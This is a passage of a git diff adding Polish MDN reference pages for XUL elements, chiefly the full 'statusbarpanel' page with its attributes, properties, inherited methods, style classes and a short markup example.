+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/statusbarpanel/index.html b/files/pl/mozilla/tech/xul/statusbarpanel/index.html
new file mode 100644
index 0000000000..c8204fb920
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/statusbarpanel/index.html
@@ -0,0 +1,127 @@
+---
+title: statusbarpanel
+slug: Mozilla/Tech/XUL/statusbarpanel
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/statusbarpanel
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedynczy element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code></code>. Jest to specjalny typ przycisku, który jest rysowany inaczej, niż zawsze. Nie jak normalne przyciski, <code>statusbarpanel</code> mogą mieć tylko etykietę albo obrazek, lecz nie oba na raz. Ten element jest często stosowany z krótkimi etykietami lub ikonami do pokazania statusu np. gdy użytkownik jest online lub kiedy są nowe wiadomości w skrzynce.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-crop">crop</a>, <a href="#a-label">label</a>, <a href="#a-src">src</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-label">label</a>, <a href="#p-src">src</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-statusbarpanel-iconic">statusbarpanel-iconic</a>, <a href="#s-statusbarpanel-menu-iconic">statusbarpanel-menu-iconic</a> </dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;statusbar&gt;
+ &lt;statusbarpanel label="Left panel"/&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;progressmeter mode="determined" value="82"/&gt;
+ &lt;statusbarpanel label="Right panel"/&gt;
+&lt;/statusbar&gt;
+</pre>
+<p><img alt="grafika:XUL_ref_statusbar.png">
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-src">
+
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-src">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/src">src</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URL</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p>Następujące klasy możemy zastosować do nadania stylu temu elementowi. Należy korzystać z tych klas zamiast nadawać styl bezpośrednio w danym elemencie - dzięki temu będą bardziej pasować do motywu wybranego przez użytkownika.
+</p><p></p><dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/statusbarpanel-iconic">statusbarpanel-iconic</a></code>
+</dt><dd> Zastosuj ta klasę do pojawienia się obrazka na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code>. Obrazek określ stosując atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>. Obrazek pojawi się zamiast etykiety.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/statusbarpanel-menu-iconic">statusbarpanel-menu-iconic</a></code></dt>
+ <dd>
+ Zastosuj tą klasę do pojawienia się obrazka na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code> i także pozwól na menu wyskakujące. Określ obrazek stosując atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> i umieść element <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code>. Obrazek pojawi się zamiast etykiety.</dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
